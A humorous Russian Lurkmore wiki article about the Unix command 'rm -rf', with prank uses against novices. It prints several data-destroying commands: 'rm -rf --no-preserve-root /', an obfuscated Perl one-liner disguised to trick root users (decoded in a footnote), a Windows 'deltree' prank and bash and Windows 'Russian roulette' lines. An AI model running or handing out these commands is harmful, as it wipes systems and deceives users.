rm -rf

Материал из Lurkmore.

Перейти к: навигация, поиск
sudo rm -rf *
sudo rm -rf *
Линуксовая команда (если быть более точным, Unix'овая, однако в интернетах больше ассоциируется с Линуксом).

Обычно [ЩИТО?] употребляется в виде «rm -rf /» (см. ниже)


Содержание

[править] Значение

  • Сама команда rm — удалить (файл(ы) и/или каталог(и)).
  • Ключ -r — recursively (рекурсивно) — позволяет удалять каталоги со всем содержимым, без этого ключа команда отвечает «каталог не пуст».
  • Ключ -f — force — не спрашивать подтверждения (вообще команды Linux не страдают обычным маздаевским назойливым переспрашиванием «а Вы точно уверены?», это редкое исключение). Некоторые побочные эффекты опции описаны в мане.
  • Традиции Unix позволяют в большинстве программ объединять ключи, то бишь «-rf» эквивалентно «-r -f».
  • Фактически ключ «-rf» по действию аналогичен фразе "Всё и сразу!".



Таким образом, суть команды — удалить каталог рекурсивно, не спрашивая подтверждения. Обычно речь идет о «/» — корневом каталоге. Большинство современных юниксов (свежие версии OpenSolaris и GNU/Linux) не дают ламеру выстрелить себе в ногу: и rm -rf / не работают Хотя, всё спокойно удаляется при использовании ключа «--no-preserve-root». Кагбэ так: «rm -rf --no-preserve-root /» Хехе. (Или другой вариант: rm -rf /*)

  • FreeBSD понимает эту команду в несколько изменённом виде: rm -fr /, а в последних версиях данная вещь не работает из-за использования флагов файловой системы (их надо сначала снять). В зависимости от уровня безопасности системы, может потребоваться перезагрузка в однопользовательский режим, что есть геморойно.

[править] Использование

А вот и он!
А вот и он!
Cпустя 42 дня он стал бгутальней.
Cпустя 42 дня он стал бгутальней.

Использование команды двояко:

  • В качестве травли линукс-нубов; [1]
  • В качестве травли ламеров, которые работают в системе, в том числе сидят в интернетах, из-под рута. Обычно в этом случае заветная строчка маскируется (ибо примитивный вариант проходит только с нубами):
    cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 
    [1]
  • Под Виндой-95-98 данный патч был все-таки портирован и принял вид

deltree /y e: d: c:

  1. такой порядок дисков - чтобы сначала удалились мегабайты прона (тогда гигами не меряли), а затем система. Также предлагался "универсальный ключ реестра для избавления от шароварности программ", который записывал сию команду в Run, а заодно отключал мышь и клаву. При следующей загрузке если юзер и догадывался о причине странного жужжания винта - спасти мог только быстрый, решительный Reset (но юзер загипнотизированно смотрел на зависший мышекурсор и вспоминал о кнопке, когда было уже поздно).

[править] Патч Бармина

В околофидошных кругах rm -rf часто называют патчем Бармина — в честь Владимира Бармина, UNIX-админа. Последний в релкомовской группе новостей на вопросы вида «как починить <...> в SCO Unix?» несколько раз ответил «универсальным патчем: rm -rf / от рута».

На основе данного патча была разработана комбинация, получившая название Русской Рулетки.

# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Жив"

Играть в Русскую Рулетку имеют право только администраторы (root), желательно на сервере, имеющем свыше 3000 посещений в день. Как было выяснено админами Ниеншанца (на практике), данная комбинация успешно работает в Linux, и не работает в FreeBSD (исключительно в том случае, если бздун не осилит установку bash. Cобственно, нахуя ему баш, когда есть tcsh?).

Версия Русской Рулетки под Windows:

set /a R=0+6*%random%/32768 & if %R% == 0 (rd /s /q .\) else (echo ЖИВ)


[править] Пруфлинки

[править] Примечание

  1. Тем, кто не понял, Капитан Очевидность приходит на помощь: «Порция cat "test... test... test..." на самом деле на выполнение команды не влияет и добавлена, скорее всего, для усыпления бдительности. А вот что происходит в Perl'овом коде - совсем не очевидно из-за преднамеренно запутанного написания. В сущности, всё просто: в данной строчке записано всего три последовательно выполняемых команды. Произведём первую итерацию и запишем поданную команду следующим образом:
    $? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
    y; -/:-@[-`{-};`-{/" -; ;
    s;;$_;see
    

    Первая конструкция анализирует переменную $? - код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая "ветка" - s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (напоминаю: первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или труба '|', для неясности в этой конструкции используется ограничитель ';').

    Вторая команда транслирует содержимое "аккумулятора" по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой - один. Если раскрыть эти диапазоны, получим следующее соответствие:

     !"#$%&'()*+,-.:;<=>?@[\]^_`{|}
    `abcdefghijklmnopqrstuvwxyz{/" -
    

    В результате содержимое $_ принимает вид system"rm -rf /".

    Третья же команда дважды (как инструктирует флаг ee) "вычисляет" содержимое аккумулятора - вышеуказанную деструктивную команду - и пытается заменить пустую строку в аккумуляторе на результат сего вычисления, но автору результат сей замены уже не интересен.

    Так-то!» Еще подробнее

  2. PIME TARADOX? Машина времени?

[править] Ссылки

[править] См. также


Источник — «http://lurkmore.ru/Rm_-rf»
Личные инструменты
Инструменты